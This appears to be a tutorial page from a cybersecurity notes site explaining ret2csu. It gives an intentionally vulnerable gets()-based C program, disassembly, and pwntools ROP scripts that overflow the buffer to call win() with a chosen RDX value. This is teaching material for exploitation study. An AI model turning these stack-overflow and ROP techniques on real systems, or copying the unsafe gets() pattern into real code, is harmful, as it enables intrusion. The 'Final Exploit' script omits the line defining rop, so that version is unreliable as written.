Cybersecurity Notes
MathematicsCryptography
  • Cybersecurity Notes
  • Binary Exploitation
    • Stack
      • Introduction
      • ret2win
      • De Bruijn Sequences
      • Shellcode
      • NOPs
      • 32- vs 64-bit
      • No eXecute
      • Return-Oriented Programming
        • Calling Conventions
        • Gadgets
        • Exploiting Calling Conventions
        • ret2libc
        • Stack Alignment
      • Format String Bug
      • Stack Canaries
      • PIE
        • Pwntools, PIE and ROP
        • PIE Bypass with Given Leak
        • PIE Bypass
      • ASLR
        • ASLR Bypass with Given Leak
        • PLT and GOT
        • ret2plt ASLR bypass
      • GOT Overwrite
        • Exploiting a GOT overwrite
      • RELRO
      • Reliable Shellcode
        • ROP and Shellcode
        • Using RSP
        • ret2reg
          • Using ret2reg
      • One Gadgets and Malloc Hook
      • Syscalls
        • Exploitation with Syscalls
        • Sigreturn-Oriented Programming (SROP)
          • Using SROP
      • ret2dlresolve
        • Exploitation
      • ret2csu
        • Exploitation
        • CSU Hardening
      • Exploiting over Sockets
        • Exploit
        • Socat
      • Forking Processes
      • Stack Pivoting
        • Exploitation
          • pop rsp
          • leave
    • Heap
      • Introduction to the Heap
      • Chunks
      • Freeing Chunks and the Bins
        • Operations of the Fastbin
        • Operations of the Other Bins
      • Malloc State
      • malloc_consolidate()
      • Heap Overflow
        • heap0
        • heap1
      • Use-After-Free
      • Double-Free
        • Double-Free Protections
        • Double-Free Exploit
      • Unlink Exploit
      • The Tcache
        • Tcache: calloc()
        • Tcache Poisoning
      • Tcache Keys
      • Safe Linking
    • Kernel
      • Introduction
      • Writing a Char Module
        • An Interactive Char Driver
        • Interactivity with IOCTL
      • A Basic Kernel Interaction Challenge
      • Compiling, Customising and booting the Kernel
      • Double-Fetch
        • Double-Fetch without Sleep
      • The Ultimate Aim of Kernel Exploitation - Process Credentials
      • Kernel ROP - ret2usr
      • Debugging a Kernel Module
      • SMEP
        • Kernel ROP - Disabling SMEP
        • Kernel ROP - Privilege Escalation in Kernel Space
      • SMAP
      • modprobe_path
      • KASLR
      • KPTI
    • Browser Exploitation
      • *CTF 2019 - oob-v8
        • The Challenge
      • picoCTF 2021 - Kit Engine
      • picoCTF 2021 - Download Horsepower
  • Reverse Engineering
    • Strings in C++
    • C++ Decompilation Tricks
    • Reverse Engineering ARM
  • Blockchain
    • An Introduction to Blockchain
  • Smart Contracts and Solidity
  • Hosting a Testnet and Deploying a Contract
  • Interacting with Python
  • Writeups
    • Hack The Box
      • Linux Machines
        • Easy
          • Traceback
        • Medium
          • Magic
          • UpDown
        • Hard
          • Intense
      • Challenges
        • Web
          • Looking Glass
          • Sanitize
          • Baby Auth
          • Baby Website Rick
        • Pwn
          • Dream Diary: Chapter 1
            • Unlink Exploit
            • Chunk Overlap
          • Ropme
    • picoGym
      • Cryptography
        • Mod 26
        • Mind Your Ps and Qs
        • Easy Peasy
        • The Numbers
        • New Caesar
        • Mini RSA
        • Dachshund Attacks
        • No Padding, No Problem
        • Easy1
        • 13
        • Caesar
        • Pixelated
        • Basic-Mod1
        • Basic-Mod2
        • Credstuff
        • morse-code
        • rail-fence
        • Substitution0
        • Substitution1
        • Substitution2
        • Transposition-Trial
        • Vigenere
        • HideToSee
    • CTFs
      • Fword CTF 2020
        • Binary Exploitation
          • Molotov
        • Reversing
          • XO
      • X-MAS CTF 2020
        • Pwn
          • Do I Know You?
          • Naughty
        • Web
          • PHP Master
      • HTB CyberSanta 2021
        • Crypto
          • Common Mistake
          • Missing Reindeer
          • Xmas Spirit
          • Meet Me Halfway
  • Miscellaneous
    • pwntools
      • Introduction
      • Processes and Communication
      • Logging and Context
      • Packing
      • ELF
      • ROP
    • scanf Bypasses
    • Challenges in Containers
    • Using Z3
    • Cross-Compiling for arm32
Powered by GitBook
On this page
  • Source
  • Analysis
  • Exploitation
  • Finding a win()
  • Reading in win()
  • Popping the registers
  • Sending it off
  • Final Exploit
  • Simplification

Was this helpful?

Export as PDF
  1. Binary Exploitation
  2. Stack
  3. ret2csu

Exploitation

Source

#include <stdio.h>

int win(int x, int y, int z) {
    if(z == 0xdeadbeefcafed00d) {
        puts("Awesome work!");
    }
}

int main() {
    puts("Come on then, ret2csu me");

    char input[30];
    gets(input);
    return 0;
}

Obviously, you can do a ret2plt followed by a ret2libc, but that's really not the point of this. Try calling win(), and to do that you have to populate the register rdx. Try what we've talked about, and then have a look at the answer if you get stuck.

Analysis

We can work out the addresses of the massive chains using r2, and chuck this all into pwntools.

[...]
0x00401208      4c89f2         mov rdx, r14
0x0040120b      4c89ee         mov rsi, r13
0x0040120e      4489e7         mov edi, r12d
0x00401211      41ff14df       call qword [r15 + rbx*8]
0x00401215      4883c301       add rbx, 1
0x00401219      4839dd         cmp rbp, rbx
0x0040121c      75ea           jne 0x401208
0x0040121e      4883c408       add rsp, 8
0x00401222      5b             pop rbx
0x00401223      5d             pop rbp
0x00401224      415c           pop r12
0x00401226      415d           pop r13
0x00401228      415e           pop r14
0x0040122a      415f           pop r15
0x0040122c      c3             ret
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]

Note I'm not popping RBX, despite the call. This is because RBX ends up being 0 anyway, and you want to mess with the least number of registers you need to to ensure the best success.

Exploitation

Finding a win()

Now we need to find a memory location that has the address of win() written into it so that we can point r15 at it. I'm going to opt to call gets() again instead, and then input the address. The location we input to is a fixed location of our choice, which is reliable. Now we just need to find a location.

To do this, I'll run r2 on the binary then dcu main to contiune until main. Now let's check permissions:

[0x00401199]> dm
0x0000000000400000 - 0x0000000000401000 - usr     4K s r--
0x0000000000401000 - 0x0000000000402000 * usr     4K s r-x
0x0000000000402000 - 0x0000000000403000 - usr     4K s r--
0x0000000000403000 - 0x0000000000404000 - usr     4K s r--
0x0000000000404000 - 0x0000000000405000 - usr     4K s rw-

The third location is RW, so let's check it out.

0x00401199]> pxq @ 0x0000000000404000
0x00404000  0x0000000000403e20  0x00007f7235252180    >@......!%5r...
0x00404010  0x00007f723523c5e0  0x0000000000401036   ..#5r...6.@.....
0x00404020  0x0000000000401046  0x0000000000000000   F.@.............

The address 0x404028 appears unused, so I'll write win() there.

RW_LOC = 0x00404028

Reading in win()

To do this, I'll just use the ROP class.

rop.raw('A' * 40)
rop.gets(RW_LOC)

Popping the registers

Now we have the address written there, let's just get the massive ropchain and plonk it all in

rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

Sending it off

Don't forget to pass a parameter to the gets():

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

Final Exploit

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

And we have successfully controlled RDX - without any RDX gadgets!

Simplification

As you probably noticed, we don't need to pop off r12 or r13, so we can move POP_CHAIN a couple of intructions along:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

rop = ROP(elf)

POP_CHAIN = 0x00401228        # pop r14, pop r15, ret
REG_CALL = 0x00401208         # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))
print(p.recvline())

Last updated 4 years ago

Was this helpful?